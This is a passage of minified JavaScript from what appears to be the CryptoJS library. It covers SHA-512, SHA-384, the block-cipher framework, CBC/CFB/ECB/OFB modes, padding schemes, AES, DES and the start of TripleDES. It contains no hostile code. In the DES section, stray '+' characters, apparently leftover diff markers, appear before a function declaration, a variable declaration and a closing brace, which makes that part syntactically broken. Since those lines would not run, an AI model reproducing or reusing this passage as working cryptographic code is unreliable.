2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, 